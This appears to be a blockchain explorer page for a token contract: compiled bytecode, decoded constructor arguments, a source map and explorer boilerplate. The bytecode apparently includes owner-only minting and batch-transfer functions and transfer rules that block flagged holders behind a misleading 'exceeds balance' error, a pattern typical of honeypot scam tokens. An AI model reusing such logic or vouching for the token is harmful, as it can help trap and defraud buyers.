007546001600160a01b0316331461051b5760405162461bcd60e51b81526004016103e590611248565b60005b8281101561071057600061053a83670de0b6b3a7640000611280565b600080546001600160a01b03168152600560205260409020549091508111156105b55760405162461bcd60e51b815260206004820152602760248201527f5745524331303a207472616e7366657220616d6f756e7420657863656564732060448201526662616c616e636560c81b60648201526084016103e5565b6105f28160405180606001604052806026815260200161134f60269139600080546001600160a01b03168152600560205260409020549190610eb2565b600080546001600160a01b0316815260056020819052604082209290925561065d91839188888781811061062857610628611322565b905060200201602081019061063d9190610f08565b6001600160a01b03168152602081019190915260400160002054906108af565b6005600087878681811061067357610673611322565b90506020020160208101906106889190610f08565b6001600160a01b031681526020810191909152604001600020558484838181106106b4576106b4611322565b90506020020160208101906106c99190610f08565b6000546040518381526001600160a01b03928316929091169060008051602061139d8339815191529060200160405180910390a35080610708816112f1565b91505061051e565b50505050565b6007546001600160a01b031633146107405760405162461bcd60e51b81526004016103e590611248565b60005b81518110156107ff576001600a600084848151811061076457610764611322565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600b60008484815181106107bb576107bb611322565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107f7816112f1565b915050610743565b5050565b6007546001600160a01b0316331461082d5760405162461bcd60e51b81526004016103e590611248565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb90604401602060405180830381600087803b15801561087757600080fd5b505af115801561088b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107109190611103565b6000806108bc8385611268565b90508381101561090e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e5565b9392505050565b6001600160a01b0383166109775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e5565b6001600160a01b0382166109d85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e5565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910161047c565b6008546007548491849184916001600160a01b039182169116148015610a6457506007546001600160a01b038481169116145b15610b8857600880546001600160a01b0319166001600160a01b03848116919091179091558616610aa75760405162461bcd60e51b81526004016103e590611203565b6001600160a01b038516610acd5760405162461bcd60e51b81526004016103e59061117a565b610b0a8460405180606001604052806026815260200161134f602691396001600160a01b0389166000908152600560205260409020549190610eb2565b6001600160a01b038088166000908152600560205260408082209390935590871681522054610b3990856108af565b6001600160a01b03808716600081815260056020526040908190209390935591519088169060008051602061139d83398151915290610b7b9088815260200190565b60405180910390a3610eaa565b6007546001600160a01b0384811691161480610bb157506008546001600160a01b038481169116145b80610bc957506007546001600160a01b038381169116145b15610c2d576007546001600160a01b038481169116148015610bfc5750816001600160a01b0316836001600160a01b0316145b15610c075760098190555b6001600160a01b038616610aa75760405162461bcd60e51b81526004016103e590611203565b6001600160a01b0383166000908152600a602052604090205460ff16151560011415610c79576001600160a01b038616610aa75760405162461bcd60e51b81526004016103e590611203565b6001600160a01b0383166000908152600b602052604090205460ff16151560011415610ce4576008546001600160a01b0384811691161480610cc85750600c546001600160a01b038381169116145b610c075760405162461bcd60e51b81526004016103e5906111bd565b600954811015610d62576008546001600160a01b0383811691161415610c07576001600160a01b0383166000908152600b60209081526040808320805460ff19908116600117909155600a909252909120805490911690556001600160a01b038616610aa75760405162461bcd60e51b81526004016103e590611203565b6008546001600160a01b0384811691161480610d8b5750600c546001600160a01b038381169116145b610da75760405162461bcd60e51b81526004016103e5906111bd565b6001600160a01b038616610dcd5760405162461bcd60e51b81526004016103e590611203565b6001600160a01b038516610df35760405162461bcd60e51b81526004016103e59061117a565b610e308460405180606001604052806026815260200161134f602691396001600160a01b0389166000908152600560205260409020549190610eb2565b6001600160a01b038088166000908152600560205260408082209390935590871681522054610e5f90856108af565b6001600160a01b03808716600081815260056020526040908190209390935591519088169060008051602061139d83398151915290610ea19088815260200190565b60405180910390a35b505050505050565b60008184841115610ed65760405162461bcd60e51b81526004016103e59190611125565b506000610ee3848661129f565b95945050505050565b80356001600160a01b0381168114610f0357600080fd5b919050565b600060208284031215610f1a57600080fd5b61090e82610eec565b60008060408385031215610f3657600080fd5b610f3f83610eec565b9150610f4d60208401610eec565b90509250929050565b600080600060608486031215610f6b57600080fd5b610f7484610eec565b9250610f8260208501610eec565b9150604084013590509250925092565b60008060408385031215610fa557600080fd5b610fae83610eec565b946020939093013593505050565b600080600060408486031215610fd157600080fd5b833567ffffffffffffffff80821115610fe957600080fd5b818601915086601f830112610ffd57600080fd5b81358181111561100c57600080fd5b8760208260051b850101111561102157600080fd5b6020928301989097509590910135949350505050565b6000602080838503121561104a57600080fd5b823567ffffffffffffffff8082111561106257600080fd5b818501915085601f83011261107657600080fd5b81358181111561108857611088611338565b8060051b604051601f19603f830116810181811085821117156110ad576110ad611338565b604052828152858101935084860182860187018a10156110cc57600080fd5b600095505b838610156110f6576110e281610eec565b8552600195909501949386019386016110d1565b5098975050505050505050565b60006020828403121561111557600080fd5b8151801515811461090e57600080fd5b600060208083528351808285015260005b8181101561115257858101830151858201604001528201611136565b81811115611164576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b6000821982111561127b5761127b61130c565b500190565b600081600019048311821515161561129a5761129a61130c565b500290565b6000828210156112b1576112b161130c565b500390565b600181811c908216806112ca57607f821691505b602082108114156112eb57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156113055761130561130c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220315ebed806791662c819fe49db586ffeae11d488f4aca88697690cb5d58ed7c864736f6c63430008070033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007074bb056c53acc0b6091dd3fae591aa3a4acc88000000000000000000000000000000000000000000000000000000003b9aca00
-----Decoded View---------------
Arg [0] : _ownr (address): 0x7074BB056C53ACC0b6091dd3FAe591aa3A4acC88
Arg [1] : initialSupply (uint256): 1000000000
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007074bb056c53acc0b6091dd3fae591aa3a4acc88
Arg [1] : 000000000000000000000000000000000000000000000000000000003b9aca00
Deployed Bytecode Sourcemap
6001:15310:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6964:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12647:167;;;;;;:::i;:::-;;:::i;:::-;;;4005:14:1;;3998:22;3980:41;;3968:2;3953:18;12647:167:0;3840:187:1;8039:100:0;8119:12;;8039:100;;;8263:25:1;;;8251:2;8236:18;8039:100:0;8117:177:1;13288:321:0;;;;;;:::i;:::-;;:::i;7891:83::-;7957:9;;7891:83;;7957:9;;;;8441:36:1;;8429:2;8414:18;7891:83:0;8299:184:1;15921:347:0;;;;;;:::i;:::-;;:::i;:::-;;8202:119;;;;;;:::i;:::-;-1:-1:-1;;;;;8295:18:0;8268:7;8295:18;;;:9;:18;;;;;;;8202:119;14806:144;;;;;;:::i;:::-;;:::i;6072:20::-;;;;;-1:-1:-1;;;;;6072:20:0;;;;;;-1:-1:-1;;;;;3517:32:1;;;3499:51;;3487:2;3472:18;6072:20:0;3353:203:1;7166:87:0;;;:::i;8872:177::-;;;;;;:::i;:::-;;:::i;11706:582::-;;;;;;:::i;:::-;;:::i;12351:149::-;;;;;;:::i;:::-;-1:-1:-1;;;;;12466:17:0;;;12439:7;12466:17;;;:11;:17;;;;;;;;:26;;;;;;;;;;;;;12351:149;14018:286;;;;;;:::i;:::-;;:::i;10691:190::-;;;;;;:::i;:::-;;:::i;6964:83::-;7001:13;7034:5;7027:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6964:83;:::o;12647:167::-;12730:4;12747:37;12756:10;12768:7;12777:6;12747:8;:37::i;:::-;-1:-1:-1;12802:4:0;12647:167;;;;:::o;13288:321::-;13394:4;13411:40;13425:6;13433:9;13444:6;13411:13;:40::i;:::-;13462:117;13471:6;13479:10;13491:87;13527:6;13491:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13491:19:0;;;;;;:11;:19;;;;;;;;13511:10;13491:31;;;;;;;;;:87;:35;:87::i;:::-;13462:8;:117::i;:::-;-1:-1:-1;13597:4:0;13288:321;;;;;:::o;15921:347::-;16008:6;;-1:-1:-1;;;;;16008:6:0;15994:10;:20;15986:64;;;;-1:-1:-1;;;15986:64:0;;7551:2:1;15986:64:0;;;7533:21:1;7590:2;7570:18;;;7563:30;7629:33;7609:18;;;7602:61;7680:18;;15986:64:0;;;;;;;;;16061:15;16079;:6;16087;16079:15;:::i;:::-;16120:12;;16061:33;;-1:-1:-1;16120:25:0;;16061:33;16120:16;:25::i;:::-;16105:12;:40;-1:-1:-1;;;;;16177:18:0;;;;;;:9;:18;;;;;;:31;;16200:7;16177:22;:31::i;:::-;-1:-1:-1;;;;;16156:18:0;;;;;;;:9;:18;;;;;;:52;;;;16245:5;;16224:36;;16245:5;;;;;-1:-1:-1;;;;;;;;;;;16224:36:0;;;16252:7;8263:25:1;;8251:2;8236:18;;8117:177;16224:36:0;;;;;;;;15975:293;15921:347;;:::o;14806:144::-;14892:6;;-1:-1:-1;;;;;14892:6:0;14878:10;:20;14870:39;;;;-1:-1:-1;;;14870:39:0;;;;;;;:::i;:::-;14920:10;:22;;-1:-1:-1;;;;;;14920:22:0;-1:-1:-1;;;;;14920:22:0;;;;;;;;;;14806:144::o;7166:87::-;7205:13;7238:7;7231:14;;;;;:::i;8872:177::-;8958:4;8975:44;8989:10;9001:9;9012:6;8975:13;:44::i;11706:582::-;11809:6;;-1:-1:-1;;;;;11809:6:0;11795:10;:20;11787:39;;;;-1:-1:-1;;;11787:39:0;;;;;;;:::i;:::-;11843:9;11839:442;11858:20;;;11839:442;;;11900:15;11918;:6;11927;11918:15;:::i;:::-;11956:16;11966:5;;-1:-1:-1;;;;;11966:5:0;11956:16;;:9;:16;;;;;;11900:33;;-1:-1:-1;11956:27:0;-1:-1:-1;11956:27:0;11948:79;;;;-1:-1:-1;;;11948:79:0;;7911:2:1;11948:79:0;;;7893:21:1;7950:2;7930:18;;;7923:30;7989:34;7969:18;;;7962:62;-1:-1:-1;;;8040:18:1;;;8033:37;8087:19;;11948:79:0;7709:403:1;11948:79:0;12063:71;12084:7;12063:71;;;;;;;;;;;;;;;;;:16;12073:5;;-1:-1:-1;;;;;12073:5:0;12063:16;;:9;:16;;;;;;;:71;:20;:71::i;:::-;12044:16;12054:5;;-1:-1:-1;;;;;12054:5:0;12044:16;;:9;:16;;;;;;;:90;;;;12175:36;;12203:7;;12185:9;;12195:1;12185:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12175:23:0;;;;;;;;;;;;-1:-1:-1;12175:23:0;;;:27;:36::i;:::-;12149:9;:23;12159:9;;12169:1;12159:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12149:23:0;;;;;;;;;;;;-1:-1:-1;12149:23:0;:62;12247:9;;12257:1;12247:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;12240:5;;12231:38;;8263:25:1;;;-1:-1:-1;;;;;12231:38:0;;;;12240:5;;;;-1:-1:-1;;;;;;;;;;;12231:38:0;8251:2:1;8236:18;12231:38:0;;;;;;;-1:-1:-1;11880:3:0;;;;:::i;:::-;;;;11839:442;;;;11706:582;;;:::o;14018:286::-;14113:6;;-1:-1:-1;;;;;14113:6:0;14099:10;:20;14091:39;;;;-1:-1:-1;;;14091:39:0;;;;;;;:::i;:::-;14146:9;14141:156;14165:9;:16;14161:1;:20;14141:156;;;14232:4;14202:13;:27;14216:9;14226:1;14216:12;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;14202:27:0;-1:-1:-1;;;;;14202:27:0;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;14280:5;14250:13;:27;14264:9;14274:1;14264:12;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;14250:27:0;;;;;;;;;;;-1:-1:-1;14250:27:0;:35;;-1:-1:-1;;14250:35:0;;;;;;;;;;14183:3;;;;:::i;:::-;;;;14141:156;;;;14018:286;:::o;10691:190::-;10804:6;;-1:-1:-1;;;;;10804:6:0;10790:10;:20;10782:39;;;;-1:-1:-1;;;10782:39:0;;;;;;;:::i;:::-;10832:41;;-1:-1:-1;;;10832:41:0;;-1:-1:-1;;;;;3753:32:1;;;10832:41:0;;;3735:51:1;3802:18;;;3795:34;;;10832:22:0;;;;;3708:18:1;;10832:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;892:181::-;950:7;;982:5;986:1;982;:5;:::i;:::-;970:17;;1011:1;1006;:6;;998:46;;;;-1:-1:-1;;;998:46:0;;5643:2:1;998:46:0;;;5625:21:1;5682:2;5662:18;;;5655:30;5721:29;5701:18;;;5694:57;5768:18;;998:46:0;5441:351:1;998:46:0;1064:1;892:181;-1:-1:-1;;;892:181:0:o;17457:340::-;-1:-1:-1;;;;;17558:18:0;;17550:67;;;;-1:-1:-1;;;17550:67:0;;6812:2:1;17550:67:0;;;6794:21:1;6851:2;6831:18;;;6824:30;6890:34;6870:18;;;6863:62;-1:-1:-1;;;6941:18:1;;;6934:34;6985:19;;17550:67:0;6610:400:1;17550:67:0;-1:-1:-1;;;;;17636:21:0;;17628:68;;;;-1:-1:-1;;;17628:68:0;;5240:2:1;17628:68:0;;;5222:21:1;5279:2;5259:18;;;5252:30;5318:34;5298:18;;;5291:62;-1:-1:-1;;;5369:18:1;;;5362:32;5411:19;;17628:68:0;5038:398:1;17628:68:0;-1:-1:-1;;;;;17707:17:0;;;;;;;:11;:17;;;;;;;;:26;;;;;;;;;;;;;:35;;;17758:31;;8263:25:1;;;17758:31:0;;8236:18:1;17758:31:0;8117:177:1;18237:583:0;19360:10;;19350:6;;18335;;18342:9;;18352:6;;-1:-1:-1;;;;;19350:6:0;;;19360:10;;19350:20;:40;;;;-1:-1:-1;19384:6:0;;-1:-1:-1;;;;;19374:16:0;;;19384:6;;19374:16;19350:40;19346:838;;;19392:10;:22;;-1:-1:-1;;;;;;19392:22:0;-1:-1:-1;;;;;19392:22:0;;;;;;;;;;18387:20;::::1;18379:70;;;;-1:-1:-1::0;;;18379:70:0::1;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18468:23:0;::::1;18460:71;;;;-1:-1:-1::0;;;18460:71:0::1;;;;;;;:::i;:::-;18624;18646:6;18624:71;;;;;;;;;;;;;;;;;-1:-1:-1::0;;;;;18624:17:0;::::1;;::::0;;;:9:::1;:17;::::0;;;;;;:71;:21:::1;:71::i;:::-;-1:-1:-1::0;;;;;18604:17:0;;::::1;;::::0;;;:9:::1;:17;::::0;;;;;:91;;;;18729:20;;::::1;::::0;;;;:32:::1;::::0;18754:6;18729:24:::1;:32::i;:::-;-1:-1:-1::0;;;;;18706:20:0;;::::1;;::::0;;;:9:::1;:20;::::0;;;;;;:55;;;;18777:35;;;;::::1;::::0;-1:-1:-1;;;;;;;;;;;18777:35:0;::::1;::::0;18805:6;8263:25:1;;8251:2;8236:18;;8117:177;18777:35:0::1;;;;;;;;19346:838:::0;;;19451:6;;-1:-1:-1;;;;;19441:16:0;;;19451:6;;19441:16;;:40;;-1:-1:-1;19471:10:0;;-1:-1:-1;;;;;19461:20:0;;;19471:10;;19461:20;19441:40;:63;;;-1:-1:-1;19498:6:0;;-1:-1:-1;;;;;19485:19:0;;;19498:6;;19485:19;19441:63;19437:736;;;19538:6;;-1:-1:-1;;;;;19528:16:0;;;19538:6;;19528:16;:39;;;;;19558:9;-1:-1:-1;;;;;19548:19:0;:6;-1:-1:-1;;;;;19548:19:0;;19528:39;19524:67;;;19569:11;:20;;;19524:67;-1:-1:-1;;;;;18387:20:0;::::1;18379:70;;;;-1:-1:-1::0;;;18379:70:0::1;;;;;;;:::i;19437:736::-:0;-1:-1:-1;;;;;19621:21:0;;;;;;:13;:21;;;;;;;;:29;;:21;:29;19617:541;;;-1:-1:-1;;;;;18387:20:0;::::1;18379:70;;;;-1:-1:-1::0;;;18379:70:0::1;;;;;;;:::i;19617:541::-:0;-1:-1:-1;;;;;19682:21:0;;;;;;:13;:21;;;;;;;;:29;;:21;:29;19678:461;;;19750:10;;-1:-1:-1;;;;;19740:20:0;;;19750:10;;19740:20;;19739:46;;-1:-1:-1;19777:7:0;;-1:-1:-1;;;;;19764:20:0;;;19777:7;;19764:20;19739:46;19731:97;;;;-1:-1:-1;;;19731:97:0;;;;;;;:::i;19678:461::-;19868:11;;19859:6;:20;19855:261;;;19915:10;;-1:-1:-1;;;;;19902:23:0;;;19915:10;;19902:23;19899:89;;;-1:-1:-1;;;;;19927:21:0;;;;;;:13;:21;;;;;;;;:28;;-1:-1:-1;;19927:28:0;;;19951:4;19927:28;;;;19957:13;:21;;;;;;:29;;;;;;;-1:-1:-1;;;;;18387:20:0;::::1;18379:70;;;;-1:-1:-1::0;;;18379:70:0::1;;;;;;;:::i;19855:261::-:0;20034:10;;-1:-1:-1;;;;;20024:20:0;;;20034:10;;20024:20;;20023:46;;-1:-1:-1;20061:7:0;;-1:-1:-1;;;;;20048:20:0;;;20061:7;;20048:20;20023:46;20015:97;;;;-1:-1:-1;;;20015:97:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18387:20:0;::::1;18379:70;;;;-1:-1:-1::0;;;18379:70:0::1;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18468:23:0;::::1;18460:71;;;;-1:-1:-1::0;;;18460:71:0::1;;;;;;;:::i;:::-;18624;18646:6;18624:71;;;;;;;;;;;;;;;;;-1:-1:-1::0;;;;;18624:17:0;::::1;;::::0;;;:9:::1;:17;::::0;;;;;;:71;:21:::1;:71::i;:::-;-1:-1:-1::0;;;;;18604:17:0;;::::1;;::::0;;;:9:::1;:17;::::0;;;;;:91;;;;18729:20;;::::1;::::0;;;;:32:::1;::::0;18754:6;18729:24:::1;:32::i;:::-;-1:-1:-1::0;;;;;18706:20:0;;::::1;;::::0;;;:9:::1;:20;::::0;;;;;;:55;;;;18777:35;;;;::::1;::::0;-1:-1:-1;;;;;;;;;;;18777:35:0;::::1;::::0;18805:6;8263:25:1;;8251:2;8236:18;;8117:177;18777:35:0::1;;;;;;;;19855:261:::0;18237:583;;;;;;:::o;1821:192::-;1907:7;1943:12;1935:6;;;;1927:29;;;;-1:-1:-1;;;1927:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1967:9:0;1979:5;1983:1;1979;:5;:::i;:::-;1967:17;1821:192;-1:-1:-1;;;;;1821:192:0:o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:186::-;251:6;304:2;292:9;283:7;279:23;275:32;272:52;;;320:1;317;310:12;272:52;343:29;362:9;343:29;:::i;383:260::-;451:6;459;512:2;500:9;491:7;487:23;483:32;480:52;;;528:1;525;518:12;480:52;551:29;570:9;551:29;:::i;:::-;541:39;;599:38;633:2;622:9;618:18;599:38;:::i;:::-;589:48;;383:260;;;;;:::o;648:328::-;725:6;733;741;794:2;782:9;773:7;769:23;765:32;762:52;;;810:1;807;800:12;762:52;833:29;852:9;833:29;:::i;:::-;823:39;;881:38;915:2;904:9;900:18;881:38;:::i;:::-;871:48;;966:2;955:9;951:18;938:32;928:42;;648:328;;;;;:::o;981:254::-;1049:6;1057;1110:2;1098:9;1089:7;1085:23;1081:32;1078:52;;;1126:1;1123;1116:12;1078:52;1149:29;1168:9;1149:29;:::i;:::-;1139:39;1225:2;1210:18;;;;1197:32;;-1:-1:-1;;;981:254:1:o;1240:689::-;1335:6;1343;1351;1404:2;1392:9;1383:7;1379:23;1375:32;1372:52;;;1420:1;1417;1410:12;1372:52;1460:9;1447:23;1489:18;1530:2;1522:6;1519:14;1516:34;;;1546:1;1543;1536:12;1516:34;1584:6;1573:9;1569:22;1559:32;;1629:7;1622:4;1618:2;1614:13;1610:27;1600:55;;1651:1;1648;1641:12;1600:55;1691:2;1678:16;1717:2;1709:6;1706:14;1703:34;;;1733:1;1730;1723:12;1703:34;1788:7;1781:4;1771:6;1768:1;1764:14;1760:2;1756:23;1752:34;1749:47;1746:67;;;1809:1;1806;1799:12;1746:67;1840:4;1832:13;;;;1864:6;;-1:-1:-1;1902:20:1;;;;1889:34;;1240:689;-1:-1:-1;;;;1240:689:1:o;1934:1132::-;2018:6;2049:2;2092;2080:9;2071:7;2067:23;2063:32;2060:52;;;2108:1;2105;2098:12;2060:52;2148:9;2135:23;2177:18;2218:2;2210:6;2207:14;2204:34;;;2234:1;2231;2224:12;2204:34;2272:6;2261:9;2257:22;2247:32;;2317:7;2310:4;2306:2;2302:13;2298:27;2288:55;;2339:1;2336;2329:12;2288:55;2375:2;2362:16;2397:2;2393;2390:10;2387:36;;;2403:18;;:::i;:::-;2449:2;2446:1;2442:10;2481:2;2475:9;2544:2;2540:7;2535:2;2531;2527:11;2523:25;2515:6;2511:38;2599:6;2587:10;2584:22;2579:2;2567:10;2564:18;2561:46;2558:72;;;2610:18;;:::i;:::-;2646:2;2639:22;2696:18;;;2730:15;;;;-1:-1:-1;2765:11:1;;;2795;;;2791:20;;2788:33;-1:-1:-1;2785:53:1;;;2834:1;2831;2824:12;2785:53;2856:1;2847:10;;2866:169;2880:2;2877:1;2874:9;2866:169;;;2937:23;2956:3;2937:23;:::i;:::-;2925:36;;2898:1;2891:9;;;;;2981:12;;;;3013;;2866:169;;;-1:-1:-1;3054:6:1;1934:1132;-1:-1:-1;;;;;;;;1934:1132:1:o;3071:277::-;3138:6;3191:2;3179:9;3170:7;3166:23;3162:32;3159:52;;;3207:1;3204;3197:12;3159:52;3239:9;3233:16;3292:5;3285:13;3278:21;3271:5;3268:32;3258:60;;3314:1;3311;3304:12;4032:597;4144:4;4173:2;4202;4191:9;4184:21;4234:6;4228:13;4277:6;4272:2;4261:9;4257:18;4250:34;4302:1;4312:140;4326:6;4323:1;4320:13;4312:140;;;4421:14;;;4417:23;;4411:30;4387:17;;;4406:2;4383:26;4376:66;4341:10;;4312:140;;;4470:6;4467:1;4464:13;4461:91;;;4540:1;4535:2;4526:6;4515:9;4511:22;4507:31;4500:42;4461:91;-1:-1:-1;4613:2:1;4592:15;-1:-1:-1;;4588:29:1;4573:45;;;;4620:2;4569:54;;4032:597;-1:-1:-1;;;4032:597:1:o;4634:399::-;4836:2;4818:21;;;4875:2;4855:18;;;4848:30;4914:34;4909:2;4894:18;;4887:62;-1:-1:-1;;;4980:2:1;4965:18;;4958:33;5023:3;5008:19;;4634:399::o;5797:402::-;5999:2;5981:21;;;6038:2;6018:18;;;6011:30;6077:34;6072:2;6057:18;;6050:62;-1:-1:-1;;;6143:2:1;6128:18;;6121:36;6189:3;6174:19;;5797:402::o;6204:401::-;6406:2;6388:21;;;6445:2;6425:18;;;6418:30;6484:34;6479:2;6464:18;;6457:62;-1:-1:-1;;;6550:2:1;6535:18;;6528:35;6595:3;6580:19;;6204:401::o;7015:329::-;7217:2;7199:21;;;7256:1;7236:18;;;7229:29;-1:-1:-1;;;7289:2:1;7274:18;;7267:36;7335:2;7320:18;;7015:329::o;8488:128::-;8528:3;8559:1;8555:6;8552:1;8549:13;8546:39;;;8565:18;;:::i;:::-;-1:-1:-1;8601:9:1;;8488:128::o;8621:168::-;8661:7;8727:1;8723;8719:6;8715:14;8712:1;8709:21;8704:1;8697:9;8690:17;8686:45;8683:71;;;8734:18;;:::i;:::-;-1:-1:-1;8774:9:1;;8621:168::o;8794:125::-;8834:4;8862:1;8859;8856:8;8853:34;;;8867:18;;:::i;:::-;-1:-1:-1;8904:9:1;;8794:125::o;8924:380::-;9003:1;8999:12;;;;9046;;;9067:61;;9121:4;9113:6;9109:17;9099:27;;9067:61;9174:2;9166:6;9163:14;9143:18;9140:38;9137:161;;;9220:10;9215:3;9211:20;9208:1;9201:31;9255:4;9252:1;9245:15;9283:4;9280:1;9273:15;9137:161;;8924:380;;;:::o;9309:135::-;9348:3;-1:-1:-1;;9369:17:1;;9366:43;;;9389:18;;:::i;:::-;-1:-1:-1;9436:1:1;9425:13;;9309:135::o;9449:127::-;9510:10;9505:3;9501:20;9498:1;9491:31;9541:4;9538:1;9531:15;9565:4;9562:1;9555:15;9581:127;9642:10;9637:3;9633:20;9630:1;9623:31;9673:4;9670:1;9663:15;9697:4;9694:1;9687:15;9713:127;9774:10;9769:3;9765:20;9762:1;9755:31;9805:4;9802:1;9795:15;9829:4;9826:1;9819:15
Swarm Source
ipfs://315ebed806791662c819fe49db586ffeae11d488f4aca88697690cb5d58ed7c8
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.